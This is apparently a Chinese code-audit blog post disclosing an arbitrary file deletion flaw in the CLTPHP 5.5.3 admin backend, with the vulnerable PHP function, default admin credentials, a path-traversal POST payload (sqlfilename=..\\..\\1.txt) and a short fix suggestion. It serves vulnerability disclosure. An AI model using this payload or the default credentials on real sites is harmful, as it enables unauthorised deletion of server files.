0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、/app/admin/controller/Database.php  第221-248行:

  1. public function delSqlFiles() {
  2. $batchFlag = input('param.batchFlag', 0, 'intval');
  3. //批量删除
  4. if ($batchFlag) {
  5. $files = input('key', array());
  6. }else {
  7. $files[] = input('sqlfilename' , '');
  8. }
  9. if (empty($files)) {
  10. 10.         $result['msg'] = '请选择要删除的sql文件!';
  11. 11.         $result['code'] = 0;
  12. 12.         return $result;
  13. 13.     }
  14. 14.
  15. 15.     foreach ($files as $file) {
  16. 16.         $a = unlink($this->datadir.'/' . $file);
  17. 17.     }
  18. 18.     if($a){
  19. 19.         $result['msg'] = '删除成功!';
  20. 20.         $result['url'] = url('restore');
  21. 21.         $result['code'] = 1;
  22. 22.         return $result;
  23. 23.     }else{
  24. 24.         $result['msg'] = '删除失败!';
  25. 25.         $result['code'] = 0;
  26. 26.         return $result;
  27. 27.     }

28. }

在这段函数中,参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

0x02 漏洞利用

1、 在根目录新建test.txt,作为漏洞测试文件

2、 构造URL,成功删除根目录的1.txt文件

http://127.0.0.1/admin/Database/delSqlFiles.html

POST: sqlfilename=..\\..\\1.txt

0x03 修复建议

1、对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析相关推荐

  1. CLTPHP 5.8 后台任意文件删除漏洞

    CLTPHP 5.8 后台任意文件删除漏洞 一.漏洞简介 CLTPHP是基于ThinkPHP5开发,后台采用Layui框架的内容管理系统, 二.漏洞影响 CLTPHP 5.8及之前版本 三.复现过程 ...

  2. php任意文件删除漏洞,phpshe后台任意文件删除漏洞及getshell | CN-SEC 中文网

    摘要 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialchars过滤),虽然用的是全局变量注册 ...

  3. java读取html文件内容的代码_【代码审计】xyhcms3.5后台任意文件读取

    1前言 一个很老的cms了,感谢小阳师傅给的练手cms,以下仅为此cms其中一个任意文件读取漏洞和任意文件删除漏洞的审计笔记. 2Cms目录分析 拿到这个cms的时候发现是基于thinkphp3.2. ...

  4. PHP代码审计——任意文件删除漏洞(YXcms)

    一.代码审计 在我的资源中下载:: YXcms-含有任意文件删除漏洞的源码包 下载即可 删除文件的代码在del()方法,首先通过GET方式接收参数fname传递过来的的值,然后执行in()函数 跟踪i ...

  5. 【代码审计】任意文件删除漏洞实例

    [代码审计]任意文件删除漏洞实例 任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件. 环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v ...

  6. 服务器漏洞文件被删除漏洞,【华中科技大学 - 漏洞预警】Wordpress = 4.9.6 任意文件删除漏洞...

    昨日,互联网上公开了Wordpress <= 4.9.6的任意文件删除漏洞及分析利用材料.该漏洞影响Wordpress全部版本(<= 4.9.6).在攻击者获得基础权限后,可升级角色权限, ...

  7. php任意文件删除漏洞,myblog/phpyun4.3任意文件删除漏洞.md at master · source-trace/myblog · GitHub...

    phpyun-expect.class.php任意文件 漏洞信息 公开时间: 2017/08 影响版本: 4.3 利用难度: 2 挖掘难度: 2 漏洞说明 漏洞出现的原因是在于没有对数据进行很好的校验 ...

  8. php任意文件删除漏洞,phpyun二次任意文件删除漏洞

    ### 简要描述: 只要有任意文件删除 这系统绝对崩. 我吐个槽,最新的过滤文件实在是太BT了,只要有select and .... 就die() 伤不起啊 ### 详细说明: 问题出在 friend ...

  9. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

最新文章

  1. 当了十年 IT 程序员,我转型做自动驾驶开发的这五年”_《新程序员》编辑部的博客-CSDN博客
  2. andorid 通过包名启动应用
  3. linux系统安装服务器过程,Linux系统服务器安装宝塔面板图文过程详解
  4. 20220201--CTF刷题MISC方向--第5题
  5. python查询模块所有类_python 小技巧(import模块、查询类继承关系、安装包)
  6. echarts 在两点之间画一条线_树的手绘很难画?分步骤教你画,简单易学,收藏起来临摹学习...
  7. linux系统 锐捷_基于802.1x的锐捷linux客户端认证方法(最新)
  8. oracle 12c rman备份与恢复,12C RMAN备份恢复
  9. otc机器人tp_发那科机器人TP 示教器按键使用简介
  10. 分布式数据库中间件—TDDL的使用介绍
  11. instanceof和containsKey以及claims.getExpiration()以及expiration.before()的用法
  12. Windows XP 全攻略
  13. 一个人的隔空喊话(于2012-08-12nbsp;0…
  14. Spring boot项目 maven多模块打包,子模块报错问题解决
  15. 数字图像处理总结(四)
  16. JS-正则表达式匹配获取
  17. 苹果双卡双待买哪款合适_2020年买哪款苹果手机好?
  18. TP简约自适应导航网站源码
  19. 基本面量化(Quantamental)——财务指标量化策略
  20. 软件工程学习笔记(五)~面向对象测试

热门文章

  1. php 时间 当前月份、上个月、下个月等的第一天和最后一天
  2. redis客户端中文乱码,redis客户端显示中文
  3. 利用官方工具U盘安装WIN10
  4. java工程师前景分析
  5. 【wepy】设置disabled的值 不生效 解决办法
  6. cmd怎么从c盘切换到D盘到指定文件夹
  7. 有关UnrealEngine材质编辑器中的Custom节点的一些小贴士
  8. 个人用户永久免费,可自动升级版Excel插件,使用VSTO开发,Excel催化剂功能第15波-接入AI人工智能NLP自然语言处理...
  9. VR技术在数据中心3D机房中的应用(上)
  10. Oracle数据库笔记总汇